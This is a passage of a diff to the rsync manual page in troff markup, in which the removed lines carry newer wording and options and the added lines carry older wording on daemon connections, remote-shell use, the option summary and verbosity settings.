\\fBrsyncd.conf\\fP(5)).\n+See the \\fB\\-\\-trust-sender\\fP option for additional details.\n+.P\n+CAUTION: it is not particularly safe to use rsync to copy files from a\n+case-preserving filesystem to a case-ignoring filesystem.  If you must perform\n+such a copy, you should either disable symlinks via \\fB\\-\\-no-links\\fP or enable the\n+munging of symlinks via \\fB\\-\\-munge-links\\fP (and make sure you use the\n+right local or remote option).  This will prevent rsync from doing potentially\n+dangerous things if a symlink name overlaps with a file or directory. It does\n+not, however, ensure that you get a full copy of all the files (since that may\n+not be possible when the names overlap). A potentially better solution is to\n+list all the source files and create a safe list of filenames that you pass to\n+the \\fB\\-\\-files-from\\fP option.  Any files that conflict in name would need\n+to be copied to different destination directories using more than one copy.\n+.P\n+While a copy of a case-ignoring filesystem to a case-ignoring filesystem can\n+work out fairly well, if no \\fB\\-\\-delete-during\\fP or \\fB\\-\\-delete-before\\fP option is\n+active, rsync can potentially update an existing file on the receiving side\n+without noticing that the upper-/lower-case of the filename should be changed\n+to match the sender.\n .P\n .SH \"ADVANCED USAGE\"\n .P\n The syntax for requesting multiple files from a remote host is done by\n-specifying additional remote-host arguments in the same style as the first, or with\n+specifying additional remote-host args in the same style as the first, or with\n the hostname omitted.  For instance, all these work:\n .RS 4\n .P\n@@ -414,14 +331,13 @@ command, so if the start of a follow-up path doesn't begin with the\n modname of the first path, it is assumed to be a path in the module (such as\n the extra-file1 & extra-file2 that are grabbed above).\n .P\n-Because really old versions of rsync (prior to 3.0.0, released\n-March 2008) only allowed specifying one\n-remote-source argument, some people have come to rely on the remote shell\n-performing space splitting to break a single argument into multiple paths. Such\n-unintuitive behavior is no longer supported by default, though you can request\n-it, as described in the next paragraph.\n-Rsync now (since 3.2.4) passes filenames to a remote\n-shell in such a way as to\n+Really old versions of rsync (2.6.9 and before) only allowed specifying one\n+remote-source arg, so some people have instead relied on the remote-shell\n+performing space splitting to break up an arg into multiple paths. Such\n+unintuitive behavior is no longer supported by default (though you can request\n+it, as described below).\n+.P\n+Starting in 3.2.4, filenames are passed to a remote shell in such a way as to\n preserve the characters you give it. Thus, if you ask for a file with spaces\n in the name, that's what the remote rsync looks for:\n .RS 4\n@@ -432,28 +348,22 @@ rsync -aiv host:'a simple file.pdf' /dest/\n .RE\n .P\n If you use scripts that have been written to manually apply extra quoting to\n-the remote rsync arguments, or to rely on remote argument splitting, you can ask rsync\n+the remote rsync args (or to require remote arg splitting), you can ask rsync\n to let your script handle the extra escaping.  This is done by either adding\n-the \\fB\\-\\-old\\-args\\fP option to the rsync runs in the script (which requires\n+the \\fB\\-\\-old-args\\fP option to the rsync runs in the script (which requires\n a new rsync) or exporting RSYNC_OLD_ARGS=1 and RSYNC_PROTECT_ARGS=0\n (which works with old or new rsync versions).\n .P\n .SH \"CONNECTING TO AN RSYNC DAEMON\"\n .P\n-An rsync daemon provides a way to give access to one or more directory\n-hierarchies on a system in a controlled way, without having to provide\n-shell access to the system.  Each directory hierarchy is called a\n-\"module\".  The names, directories, access permissions and so on for\n-each module are defined by the rsync daemon configuration file,\n-described in \\fBrsyncd.conf\\fP(5).\n-Connections to an rsync daemon typically use TCP port 873.  The\n-administrator of the system would normally arrange for the rsync\n-daemon to be running;\n-refer to the STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS\n-section below for information on how to do that.\n+It is also possible to use rsync without a remote shell as the transport.  In\n+this case you will directly connect to a remote rsync daemon, typically using\n+TCP port 873. (This obviously requires the daemon to be running on the remote\n+system, so refer to the STARTING AN RSYNC DAEMON TO ACCEPT CONNECTIONS\n+section below for information on that.)\n .P\n-From the client point of view, using rsync to access an rsync daemon\n-is similar to using it with a remote shell except that:\n+Using rsync in this way is the same as using it with a remote shell except\n+that:\n .P\n .IP o\n Use either double-colon syntax or rsync:// URL syntax instead of the\n@@ -461,7 +371,7 @@ single-colon (remote shell) syntax.\n .IP o\n The first element of the \"path\" is actually a module name.\n .IP o\n-Additional remote source arguments can use an abbreviated syntax that omits the\n+Additional remote source args can use an abbreviated syntax that omits the\n hostname and/or the module name, as discussed in ADVANCED USAGE.\n .IP o\n The remote daemon may print a \"message of the day\" when you connect.\n@@ -472,11 +382,9 @@ accessible modules on the daemon is output.\n If you specify a remote source path but no destination, a listing of the\n matching files on the remote daemon is output.\n .IP o\n-To contact an rsync daemon directly, the \\fB\\-\\-rsh\\fP (\\fB\\-e\\fP)\n-option must be omitted.  If it is used, rsync will use the specified\n-remote shell program to start an rsync daemon on the remote system.\n-See the USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n-CONNECTION section for information on this mode of operation.\n+The \\fB\\-\\-rsh\\fP (\\fB\\-e\\fP) option must be omitted to avoid changing the\n+connection style from using a socket connection to USING RSYNC-DAEMON\n+FEATURES VIA A REMOTE-SHELL CONNECTION.\n .P\n An example that copies all the files in a remote module named \"src\":\n .RS 4\n@@ -489,25 +397,11 @@ rsync -av host::src /dest\n Some modules on the remote daemon may require authentication.  If so, you will\n receive a password prompt when you connect.  You can avoid the password prompt\n by setting the environment variable \\fBRSYNC_PASSWORD\\fP to the password you\n-want to use or using the \\fB\\-\\-password\\-file\\fP option.  This may be useful\n+want to use or using the \\fB\\-\\-password-file\\fP option.  This may be useful\n when scripting rsync.\n .P\n-WARNING: On some systems, environment variables are visible to all users.  On\n-those systems using \\fB\\-\\-password\\-file\\fP is recommended.\n-.P\n-If rsync was built with IDN support (look for \"IDN\" in \\fBrsync\\ \\-\\-version\\fP), the\n-daemon host may contain non-ASCII characters: those labels are converted to\n-their IDNA A-label (\"Punycode\") form before the name is looked up.  The name is\n-read using your locale's character encoding, so be sure your locale is set\n-correctly.  A name typed with combining characters is normalized on the way, so\n-it is looked up the same as its precomposed spelling.  Only the non-ASCII\n-labels change, so an address literal, a name you punycoded yourself, and a name\n-that is not a valid IDN are all looked up just as you typed them.\n-.P\n-This applies to the host of a daemon connection only.  The host of a plain\n-remote-shell transfer (the single-colon syntax) is passed to your remote-shell\n-program unchanged, since that name may well be an ssh_config \"Host\" alias\n-rather than a DNS name.\n+WARNING: On some systems environment variables are visible to all users.  On\n+those systems using \\fB\\-\\-password-file\\fP is recommended.\n .P\n You may establish the connection via a web proxy by setting the environment\n variable \\fBRSYNC_PROXY\\fP to a hostname:port pair pointing to your web proxy.\n@@ -539,20 +433,19 @@ the default shell of the \\fBsystem()\\fP call.\n .P\n It is sometimes useful to use various features of an rsync daemon (such as\n named modules) without actually allowing any new socket connections into a\n-system, other than what is already required to allow remote-shell access.\n+system (other than what is already required to allow remote-shell access).\n Rsync supports connecting to a host using a remote shell and then spawning a\n-single-use \"daemon\" server that expects to read its config file in the home directory\n+single-use \"daemon\" server that expects to read its config file in the home dir\n of the remote user.  This can be useful if you want to encrypt a daemon-style\n-transfer's data.  However, since the daemon is started by the remote user,\n-you may not be able to use features which require root privilege, such\n-as chroot or setting the user ID used by the daemon.\n-(For another way to encrypt a daemon transfer, consider using ssh\n-to tunnel a local port to a remote machine, and configure a normal rsync daemon\n-on that remote host to allow connections only from \"localhost\".)\n+transfer's data, but since the daemon is started up fresh by the remote user,\n+you may not be able to use features such as chroot or change the uid used by\n+the daemon. (For another way to encrypt a daemon transfer, consider using ssh\n+to tunnel a local port to a remote machine and configure a normal rsync daemon\n+on that remote host to only allow connections from \"localhost\".)\n .P\n From the user's perspective, a daemon transfer via a remote-shell connection\n uses nearly the same command-line syntax as a normal rsync-daemon transfer,\n-with the only difference being that you must explicitly set the remote shell\n+with the only exception being that you must explicitly set the remote shell\n program on the command-line with the \\fB\\-\\-rsh=COMMAND\\fP option. (Setting the\n RSYNC_RSH in the environment will not turn on this functionality.) For example:\n .RS 4\n@@ -562,25 +455,11 @@ rsync -av --rsh=ssh host::module /dest\n .fi\n .RE\n .P\n-A \"user@\" prefix in front of the host serves two purposes at once in this mode:\n-it is the rsync-user value (used to log in to a module that requires user-based\n-authentication) and, by default, it is also passed to the remote shell as the\n-login user.  So the simple form\n-.RS 4\n-.P\n-.nf\n-rsync -av --rsh=ssh user@host::module /dest\n-.fi\n-.RE\n-.P\n-runs \\fBssh\\ \\-l\\ user\\ host\\fP and offers \"user\" as the rsync-user to the module; the\n-two are forced to be the same name.\n-.P\n-If you need the remote-shell (ssh) login to use a different name than the\n-rsync-user, give an explicit '\\-l' option to ssh in the remote-shell command.\n-When ssh is already told which user to log in as, rsync does not add its own\n-\\&'\\-l', so the \"user@\" prefix is then used only as the rsync-user.  For example,\n-using the short version of the \\fB\\-\\-rsh\\fP option:\n+If you need to specify a different remote-shell user, keep in mind that the\n+user@ prefix in front of the host is specifying the rsync-user value (for a\n+module that requires user-based authentication).  This means that you must give\n+the '\\-l user' option to ssh when specifying the remote-shell, as in this\n+example that uses the short version of the \\fB\\-\\-rsh\\fP option:\n .RS 4\n .P\n .nf\n@@ -588,8 +467,8 @@ rsync -av -e \"ssh -l ssh-user\" rsync-user@host::module /dest\n .fi\n .RE\n .P\n-Here \"ssh-user\" is used at the ssh level while \"rsync-user\" is used to log in to\n-the \"module\".\n+The \"ssh-user\" will be used at the ssh level; the \"rsync-user\" will be used to\n+log-in to the \"module\".\n .P\n In this setup, the daemon is started by the ssh command that is accessing the\n system (which can be forced via the \\fB~/.ssh/authorized_keys\\fP file, if desired).\n@@ -601,9 +480,9 @@ In order to connect to an rsync daemon, the remote system needs to have a\n daemon already running (or it needs to have configured something like inetd to\n spawn an rsync daemon for incoming connections on a particular port).  For full\n information on how to start a daemon that will handling incoming socket\n-connections, see the manpage for \\fBrsyncd.conf\\fP(5),\n-the config file for the daemon.  The manpage contains the full details for how to run\n-the daemon, including stand-alone and inetd configurations.\n+connections, see the \\fBrsyncd.conf\\fP(5) manpage\\ \\-\\- that is\n+the config file for the daemon, and it contains the full details for how to run\n+the daemon (including stand-alone and inetd configurations).\n .P\n If you're using one of the remote-shell transports for the transfer, there is\n no need to manually start an rsync daemon.\n@@ -645,11 +524,8 @@ has its own detailed description later in this manpage.\n --archive, -a            archive mode is -rlptgoD (no -A,-X,-U,-N,-H)\n --no-OPTION              turn off an implied OPTION (e.g. --no-D)\n --recursive, -r          recurse into directories\n---inc-recursive, --i-r   enable incremental recursion\n---no-inc-recursive       disable incremental recursion\n---no-i-r                 same as --no-inc-recursive\n --relative, -R           use relative path names\n---no-implied-dirs        don't send implied directories with --relative\n+--no-implied-dirs        don't send implied dirs with --relative\n --backup, -b             make backups (see --suffix & --backup-dir)\n --backup-dir=DIR         make backups into hierarchy based in DIR\n --suffix=SUFFIX          backup suffix (default ~ w/o --backup-dir)\n@@ -658,18 +534,15 @@ has its own detailed description later in this manpage.\n --append                 append data onto shorter files\n --append-verify          --append w/old data in file checksum\n --dirs, -d               transfer directories without recursing\n---old-dirs               works like --dirs when talking to old rsync\n---old-d                  same as --old-dirs\n+--old-dirs, --old-d      works like --dirs when talking to old rsync\n --mkpath                 create destination's missing path components\n --links, -l              copy symlinks as symlinks\n---copy-links, -L         transform symlink into referent file/directory\n+--copy-links, -L         transform symlink into referent file/dir\n --copy-unsafe-links      only \"unsafe\" symlinks are transformed\n --safe-links             ignore symlinks that point outside the tree\n---insecure-links         follow attacker-owned symlinks in operator paths\n---confine-root=DIR       refuse operator paths resolving outside DIR\n --munge-links            munge symlinks to make them safe & unusable\n---copy-dirlinks, -k      transform symlink to directory into referent directory\n---keep-dirlinks, -K      treat symlinked directory on receiver as directory\n+--copy-dirlinks, -k      transform symlink to dir into referent dir\n+--keep-dirlinks, -K      treat symlinked dir on receiver as dir\n --hard-links, -H         preserve hard links\n --perms, -p              preserve permissions\n --executability, -E      preserve executability\n@@ -682,7 +555,6 @@ has its own detailed description later in this manpage.\n --copy-devices           copy device contents as a regular file\n --write-devices          write to devices as files (implies --inplace)\n --specials               preserve special files\n---drop-D                 receiver refuses to create devices/specials\n -D                       same as --devices --specials\n --times, -t              preserve modification times\n --atimes, -U             preserve access (use) times\n@@ -696,27 +568,25 @@ has its own detailed description later in this manpage.\n --preallocate            allocate dest files before writing them\n --dry-run, -n            perform a trial run with no changes made\n --whole-file, -W         copy files whole (w/o delta-xfer algorithm)\n---no-whole-file, --no-W  use the delta-xfer algorithm\n --checksum-choice=STR    choose the checksum algorithm (aka --cc)\n --one-file-system, -x    don't cross filesystem boundaries\n --block-size=SIZE, -B    force a fixed checksum block-size\n --rsh=COMMAND, -e        specify the remote shell to use\n --rsync-path=PROGRAM     specify the rsync to run on remote machine\n --existing               skip creating new files on receiver\n---ignore-non-existing    skip creating new files on receiver\n --ignore-existing        skip updating files that exist on receiver\n---remove-source-files    sender removes synchronized files (non-directory)\n+--remove-source-files    sender removes synchronized files (non-dir)\n --del                    an alias for --delete-during\n---delete                 delete extraneous files from dest directories\n+--delete                 delete extraneous files from dest dirs\n --delete-before          receiver deletes before xfer, not during\n --delete-during          receiver deletes during the transfer\n --delete-delay           find deletions during, delete after\n --delete-after           receiver deletes after transfer, not during\n---delete-excluded        also delete excluded files from dest directories\n---ignore-missing-args    ignore missing source arguments without error\n---delete-missing-args    delete missing source arguments from destination\n+--delete-excluded        also delete excluded files from dest dirs\n+--ignore-missing-args    ignore missing source args without error\n+--delete-missing-args    delete missing source args from destination\n --ignore-errors          delete even if there are I/O errors\n---force                  force deletion of directories even if not empty\n+--force                  force deletion of dirs even if not empty\n --max-delete=NUM         don't delete more than NUM files\n --max-size=SIZE          don't transfer any file larger than SIZE\n --min-size=SIZE          don't transfer any file smaller than SIZE\n@@ -724,7 +594,6 @@ has its own detailed description later in this manpage.\n --partial                keep partially transferred files\n --partial-dir=DIR        put a partially transferred file into DIR\n --delay-updates          put all updated files into place at end\n---delay-symlinks         create symlinks after all files are in place\n --prune-empty-dirs, -m   prune empty directory chains from file-list\n --numeric-ids            don't map uid/gid values by user/group name\n --usermap=STRING         custom username mapping\n@@ -743,7 +612,6 @@ has its own detailed description later in this manpage.\n --compress, -z           compress file data during the transfer\n --compress-choice=STR    choose the compression algorithm (aka --zc)\n --compress-level=NUM     explicitly set compression level (aka --zl)\n---compress-threads=NUM   explicitly set compression threads (aka --zt)\n --skip-compress=LIST     skip compressing files with suffix in LIST\n --cvs-exclude, -C        auto-ignore files in the same way CVS does\n --filter=RULE, -f        add a file-filtering RULE\n@@ -755,8 +623,8 @@ has its own detailed description later in this manpage.\n --include-from=FILE      read include patterns from FILE\n --files-from=FILE        read list of source-file names from FILE\n --from0, -0              all *-from/filter files are delimited by 0s\n---old-args               disable the modern argument-protection idiom\n---secluded-args, -s      use the protocol to safely send the arguments\n+--old-args               disable the modern arg-protection idiom\n+--secluded-args, -s      use the protocol to safely send the args\n --trust-sender           trust the remote sender's file list\n --copy-as=USER[:GROUP]   specify user & optional group for the copy\n --address=ADDRESS        bind address for outgoing socket to daemon\n@@ -789,8 +657,6 @@ has its own detailed description later in this manpage.\n --checksum-seed=NUM      set block/file checksum seed (advanced)\n --ipv4, -4               prefer IPv4\n --ipv6, -6               prefer IPv6\n---nice=SETTINGS          adjust rsync CPU and I/O priorities\n---no-nice                clear earlier --nice settings\n --version, -V            print the version + other info and exit\n --help, -h (*)           show this help (* -h is help only on its own)\n .fi\n@@ -809,8 +675,6 @@ accepted:\n --log-file=FILE          override the \"log file\" setting\n --log-file-format=FMT    override the \"log format\" setting\n --sockopts=OPTIONS       specify custom TCP options\n---nice=SETTINGS          adjust daemon process CPU and I/O priorities\n---no-nice                clear earlier --nice settings\n --verbose, -v            increase verbosity\n --ipv4, -4               prefer IPv4\n --ipv6, -6               prefer IPv6\n@@ -833,16 +697,16 @@ option has a short variant).\n The parameter may need to be quoted in some manner for it to survive the\n shell's command-line parsing.  Also keep in mind that a leading tilde (\\fB~\\fP) in\n a pathname is substituted by your shell, so make sure that you separate the\n-option name from the pathname using a space (rather than an equal\n-sign) if you want the local shell to expand it.\n+option name from the pathname using a space if you want the local shell to\n+expand it.\n .P\n .IP \"\\fB\\-\\-help\\fP\"\n Print a short help page describing the options available in rsync and exit.\n You can also use \\fB\\-h\\fP for \\fB\\-\\-help\\fP when it is used without any other\n-options or arguments (since otherwise it means \\fB\\-\\-human\\-readable\\fP).\n+options (since it normally means \\fB\\-\\-human-readable\\fP).\n .IP \"\\fB\\-\\-version\\fP, \\fB\\-V\\fP\"\n Print the rsync version plus other info and exit.  When repeated, the\n-information is output in a JSON format that is still fairly readable\n+information is output is a JSON format that is still fairly readable\n (client side only).\n .IP\n The output includes a list of compiled-in capabilities, a list of\n@@ -866,19 +730,18 @@ file sizes that rsync considered transferring.  It also shows a \"speedup\"\n value, which is a ratio of the total file size divided by the sum of the\n sent and received bytes (which is really just a feel-good bigger-is-better\n number).  Note that these byte values can be made more (or less)\n-human-readable by using the \\fB\\-\\-human\\-readable\\fP (or\n-\\fB\\-\\-no\\-human\\-readable\\fP) options.\n+human-readable by using the \\fB\\-\\-human-readable\\fP (or\n+\\fB\\-\\-no-human-readable\\fP) options.\n .IP\n-The \\fB\\-v\\fP option is equivalent to the setting of groups\n+In a modern rsync, the \\fB\\-v\\fP option is equivalent to the setting of groups\n of \\fB\\-\\-info\\fP and \\fB\\-\\-debug\\fP options.  You can choose to use\n these newer options in addition to, or in place of using \\fB\\-\\-verbose\\fP, as\n any fine-grained settings override the implied settings of \\fB\\-v\\fP.  Both\n-\\fB\\-\\-info\\fP and \\fB\\-\\-debug\\fP have help texts available that\n-tells you exactly what flags are set for each increase in verbosity\n-(use \\fB\\-\\-info=help\\fP or \\fB\\-\\-debug=help\\fP to see them).\n+\\fB\\-\\-info\\fP and \\fB\\-\\-debug\\fP have a way to ask for help that\n+tells you exactly what flags are set for each increase in verbosity.\n .IP\n However, do keep in mind that a daemon's \"\\fBmax\\ verbosity\\fP\" setting will limit\n-how high the various individual flags can be set on the daemon\n+how high of a level the various individual flags can be set on the daemon\n side.  For instance, if the max is 2, then any info and/or debug flag that\n is set to a higher value than what would be set by \\fB\\-vv\\fP will be downgraded\n to the \\fB\\-vv\\fP level in the daemon's logging.\n@@ -898,13 +761,13 @@ rsync -avv --info=stats2,misc1,flist0 src/ dest/\n .fi\n .RE\n .IP\n-Note that \\fB\\-\\-info=name\\fP's output is affected by the \\fB\\-\\-out\\-format\\fP\n-and \\fB\\-\\-itemize\\-changes\\fP (\\fB\\-i\\fP) options.  See those options for more\n+Note that \\fB\\-\\-info=name\\fP's output is affected by the \\fB\\-\\-out-format\\fP\n+and \\fB\\-\\-itemize-changes\\fP (\\fB\\-i\\fP) options.  See those options for more\n information on what is output and when.\n .IP\n-This option was added to 3.1.0 (released September 2013),\n-so an older rsync on the server side might\n-reject your attempts at fine-grained control.\n+This option was added to 3.1.0, so an older rsync on the server side might\n+reject your attempts at fine-grained control (if one or more flags needed\n+to be send to the server and the server was too old to understand them).\n See also the \"\\fBmax\\ verbosity\\fP\" caveat above when dealing with a daemon.\n .IP \"\\fB\\-\\-debug=FLAGS\\fP\"\n This option lets you have fine-grained control over the debug output you\n@@ -925,9 +788,9 @@ rsync -avA --del --debug=del2,acl src/ dest/\n Note that some debug messages will only be output when the \\fB\\-\\-stderr=all\\fP\n option is specified, especially those pertaining to I/O and buffer debugging.\n .IP\n-This option is not forwarded by the client to the server side, so that\n-you can specify different debug values for each side of the transfer.\n-This also allows you to specify debug options that are only\n+Beginning in 3.2.0, this option is no longer auto-forwarded to the server\n+side in order to allow you to specify different debug values for each side\n+of the transfer, as well as to specify a new debug option that is only\n present in one of the rsync versions.  If you want to duplicate the same\n option on both sides, using brace expansion is an easy way to save you some\n typing.  This works in zsh and bash:\n@@ -938,23 +801,22 @@ rsync -aiv {-M,}--debug=del2 src/ dest/\n .fi\n .RE\n .IP \"\\fB\\-\\-stderr=errors|all|client\\fP\"\n-This option controls which processes output to stderr, and whether\n-info messages are output to stderr rather than stdout.\n-The mode strings can be abbreviated down as far as a single letter.\n-The 3 possible choices are:\n+This option controls which processes output to stderr and if info messages\n+are also changed to stderr.  The mode strings can be abbreviated, so feel\n+free to use a single letter value.  The 3 possible choices are:\n .IP\n .RS\n .IP o\n-\\fBerrors\\fP \\- (the default) causes all the rsync processes to send\n-errors directly to stderr, even if the process is on the remote side of\n+\\fBerrors\\fP \\- (the default) causes all the rsync processes to send an\n+error directly to stderr, even if the process is on the remote side of\n the transfer.  Info messages are sent to the client side via the protocol\n stream.  If stderr is not available (i.e. when directly connecting with a\n daemon via a socket) errors fall back to being sent via the protocol\n stream.\n .IP o\n-\\fBall\\fP \\- causes all rsync messages (info and error) to be written\n+\\fBall\\fP \\- causes all rsync messages (info and error) to get written\n directly to stderr from all (possible) processes.  This causes stderr to\n-become line-buffered (instead of unbuffered) and eliminates the ability to\n+become line-buffered (instead of raw) and eliminates the ability to\n divide up the info and error messages by file handle.  For those doing\n debugging or using several levels of verbosity, this option can help to\n avoid clogging up the transfer stream (which should prevent any chance of\n@@ -970,42 +832,42 @@ older rsync, you may want to use \\fB\\-\\-stderr=all\\fP since that idiom has\n been around for several releases.\n .RE\n .IP\n-Rsync also accepts the old \\fB\\-\\-msgs2stderr\\fP and \\fB\\-\\-no\\-msgs2stderr\\fP\n-options, equivalent to the \\fBall\\fP and \\fBclient\\fP settings,\n-respectively, and uses them when forwarding non-default settings\n-to the remote side, in case the remote rsync is an older version.\n+This option was added in rsync 3.2.3.  This version also began the\n+forwarding of a non-default setting to the remote side, though rsync uses\n+the backward-compatible options \\fB\\-\\-msgs2stderr\\fP and \\fB\\-\\-no-msgs2stderr\\fP to\n+represent the \\fBall\\fP and \\fBclient\\fP settings, respectively.  A newer rsync\n+will continue to accept these older option names to maintain compatibility.\n .IP \"\\fB\\-\\-quiet\\fP, \\fB\\-q\\fP\"\n This option decreases the amount of information you are given during the\n transfer, notably suppressing information messages from the remote server.\n This option is useful when invoking rsync from cron.\n-.IP \"\\fB\\-\\-no\\-motd\\fP\"\n+.IP \"\\fB\\-\\-no-motd\\fP\"\n This option affects the information that is output by the client at the\n start of a daemon transfer.  This suppresses the message-of-the-day (MOTD)\n text, but it also affects the list of modules that the daemon sends in\n response to the \"rsync host::\" request (due to a limitation in the rsync\n protocol), so omit this option if you want to request the list of modules\n from the daemon.\n-.IP \"\\fB\\-\\-ignore\\-times\\fP, \\fB\\-I\\fP\"\n+.IP \"\\fB\\-\\-ignore-times\\fP, \\fB\\-I\\fP\"\n Normally rsync will skip any files that are already the same size and have\n the same modification timestamp.  This option turns off this \"quick check\"\n behavior, causing all files to be updated.\n .IP\n-This option can be confusing compared to \\fB\\-\\-ignore\\-existing\\fP and\n-\\fB\\-\\-ignore\\-non\\-existing\\fP in that that they cause rsync to transfer\n+This option can be confusing compared to \\fB\\-\\-ignore-existing\\fP and\n+\\fB\\-\\-ignore-non-existing\\fP in that that they cause rsync to transfer\n fewer files, while this option causes rsync to transfer more files.\n-.IP \"\\fB\\-\\-size\\-only\\fP\"\n+.IP \"\\fB\\-\\-size-only\\fP\"\n This modifies rsync's \"quick check\" algorithm for finding files that need\n to be transferred, changing it from the default of transferring files with\n either a changed size or a changed last-modified time to just looking for\n files that have changed in size.  This is useful when starting to use rsync\n after using another mirroring system which may not preserve timestamps\n exactly.\n-.IP \"\\fB\\-\\-modify\\-window=NUM\\fP, \\fB\\-@\\fP\"\n+.IP \"\\fB\\-\\-modify-window=NUM\\fP, \\fB\\-@\\fP\"\n When comparing two timestamps, rsync treats the timestamps as being equal\n if they differ by no more than the modify-window value.  The default is 0,\n which matches just integer seconds.  If you specify a negative value (and\n-the receiver is at least version 3.1.3, released January 2018)\n-then nanoseconds will also be taken\n+the receiver is at least version 3.1.3) then nanoseconds will also be taken\n into account.  Specifying 1 is useful for copies to/from MS Windows FAT\n filesystems, because FAT represents times with a 2-second resolution\n (allowing times to differ from the original by up to 1 second).\n@@ -1020,7 +882,7 @@ rsync alias -t -t@-1\n .fi\n .RE\n .IP\n-With that as the default, you'd need to specify \\fB\\-\\-modify\\-window=0\\fP (aka\n+With that as the default, you'd need to specify \\fB\\-\\-modify-window=0\\fP (aka\n \\fB\\-@0\\fP) to override it and ignore nanoseconds, e.g. if you're copying\n between ext3 and ext4, or if the receiving rsync is older than 3.1.3.\n .IP \"\\fB\\-\\-checksum\\fP, \\fB\\-c\\fP\"\n@@ -1028,7 +890,7 @@ This changes the way rsync checks if the files have been changed and are in\n need of a transfer.  Without this option, rsync uses a \"quick check\" that\n (by default) checks if each file's size and time of last modification match\n between the sender and receiver.  This option changes this to compare a\n-checksum for each file that has a matching size.  Generating the\n+128-bit checksum for each file that has a matching size.  Generating the\n checksums means that both sides will expend a lot of disk I/O reading all\n the data in the files in the transfer, so this can slow things down\n significantly (and this is prior to any reading that will be done to\n@@ -1040,14 +902,14 @@ its checksums when it is scanning for changed files, and will checksum any\n file that has the same size as the corresponding sender's file: files with\n either a changed size or a changed checksum are selected for transfer.\n .IP\n-Note that rsync normally verifies that each \\fItransferred\\fP file was correctly\n+Note that rsync always verifies that each \\fItransferred\\fP file was correctly\n reconstructed on the receiving side by checking a whole-file checksum that\n is generated as the file is transferred, but that automatic\n after-the-transfer verification has nothing to do with this option's\n before-the-transfer \"Does this file need to be updated?\" check.\n .IP\n The checksum used is auto-negotiated between the client and the server, but\n-can be overridden using either the \\fB\\-\\-checksum\\-choice\\fP (\\fB\\-\\-cc\\fP)\n+can be overridden using either the \\fB\\-\\-checksum-choice\\fP (\\fB\\-\\-cc\\fP)\n option or an environment variable that is discussed in that option's\n section.\n .IP \"\\fB\\-\\-archive\\fP, \\fB\\-a\\fP\"\n@@ -1056,39 +918,38 @@ recursion and want to preserve almost everything.  Be aware that it does\n \\fBnot\\fP include preserving ACLs (\\fB\\-A\\fP), xattrs (\\fB\\-X\\fP), atimes (\\fB\\-U\\fP),\n crtimes (\\fB\\-N\\fP), nor the finding and preserving of hardlinks (\\fB\\-H\\fP).\n .IP\n-The only exception to the above equivalence is when \\fB\\-\\-files\\-from\\fP\n+The only exception to the above equivalence is when \\fB\\-\\-files-from\\fP\n is specified, in which case \\fB\\-r\\fP is not implied.\n-.IP \"\\fB\\-\\-no\\-OPTION\\fP\"\n+.IP \"\\fB\\-\\-no-OPTION\\fP\"\n You may turn off one or more implied options by prefixing the option name\n with \"no-\".  Not all positive options have a negated opposite, but a lot\n do, including those that can be used to disable an implied option (e.g.\n-\\fB\\-\\-no\\-D\\fP, \\fB\\-\\-no\\-perms\\fP) or have different defaults in various circumstances\n-(e.g. \\fB\\-\\-no\\-whole\\-file\\fP, \\fB\\-\\-no\\-blocking\\-io\\fP, \\fB\\-\\-no\\-dirs\\fP).  Every\n+\\fB\\-\\-no-D\\fP, \\fB\\-\\-no-perms\\fP) or have different defaults in various circumstances\n+(e.g. \\fB\\-\\-no-whole-file\\fP, \\fB\\-\\-no-blocking-io\\fP, \\fB\\-\\-no-dirs\\fP).  Every\n valid negated option accepts both the short and the long option name after\n-the \"no-\" prefix (e.g. \\fB\\-\\-no\\-R\\fP is the same as \\fB\\-\\-no\\-relative\\fP).\n+the \"no-\" prefix (e.g. \\fB\\-\\-no-R\\fP is the same as \\fB\\-\\-no-relative\\fP).\n .IP\n As an example, if you want to use \\fB\\-\\-archive\\fP (\\fB\\-a\\fP) but don't want\n \\fB\\-\\-owner\\fP (\\fB\\-o\\fP), instead of converting \\fB\\-a\\fP into \\fB\\-rlptgD\\fP, you\n-can specify \\fB\\-a\\ \\-\\-no\\-o\\fP (aka \\fB\\-\\-archive\\ \\-\\-no\\-owner\\fP).\n+can specify \\fB\\-a\\ \\-\\-no-o\\fP (aka \\fB\\-\\-archive\\ \\-\\-no-owner\\fP).\n .IP\n-The order of the options is important: if you specify \\fB\\-\\-no\\-r\\ \\-a\\fP, the \\fB\\-r\\fP\n-option would end up being turned on, the opposite of \\fB\\-a\\ \\-\\-no\\-r\\fP.  Note\n-also that the side-effects of the \\fB\\-\\-files\\-from\\fP option are NOT\n+The order of the options is important: if you specify \\fB\\-\\-no-r\\ \\-a\\fP, the \\fB\\-r\\fP\n+option would end up being turned on, the opposite of \\fB\\-a\\ \\-\\-no-r\\fP.  Note\n+also that the side-effects of the \\fB\\-\\-files-from\\fP option are NOT\n positional, as it affects the default state of several options and slightly\n-changes the meaning of \\fB\\-a\\fP (see the \\fB\\-\\-files\\-from\\fP option\n+changes the meaning of \\fB\\-a\\fP (see the \\fB\\-\\-files-from\\fP option\n for more details).\n .IP \"\\fB\\-\\-recursive\\fP, \\fB\\-r\\fP\"\n This tells rsync to copy directories recursively.  See also\n \\fB\\-\\-dirs\\fP (\\fB\\-d\\fP) for an option that allows the scanning of a single\n directory.\n .IP\n-See the \\fB\\-\\-inc\\-recursive\\fP option for a discussion of the\n+See the \\fB\\-\\-inc-recursive\\fP option for a discussion of the\n incremental recursion for creating the list of files to transfer.\n-.IP \"\\fB\\-\\-inc\\-recursive\\fP, \\fB\\-\\-i\\-r\\fP\"\n-This option explicitly enables incremental recursion when scanning for\n+.IP \"\\fB\\-\\-inc-recursive\\fP, \\fB\\-\\-i-r\\fP\"\n+This option explicitly enables on incremental recursion when scanning for\n files, which is enabled by default when using the \\fB\\-\\-recursive\\fP\n-option and both sides of the transfer are running rsync 3.0.0\n-(released March 2008) or newer.\n+option and both sides of the transfer are running rsync 3.0.0 or newer.\n .IP\n Incremental recursion uses much less memory than non-incremental, while\n also beginning the transfer more quickly (since it doesn't need to scan the\n@@ -1100,43 +961,43 @@ disable the incremental recursion mode.  These include:\n .IP\n .RS\n .IP o\n-\\fB\\-\\-delete\\-before\\fP (the old default of \\fB\\-\\-delete\\fP)\n+\\fB\\-\\-delete-before\\fP (the old default of \\fB\\-\\-delete\\fP)\n .IP o\n-\\fB\\-\\-delete\\-after\\fP\n+\\fB\\-\\-delete-after\\fP\n .IP 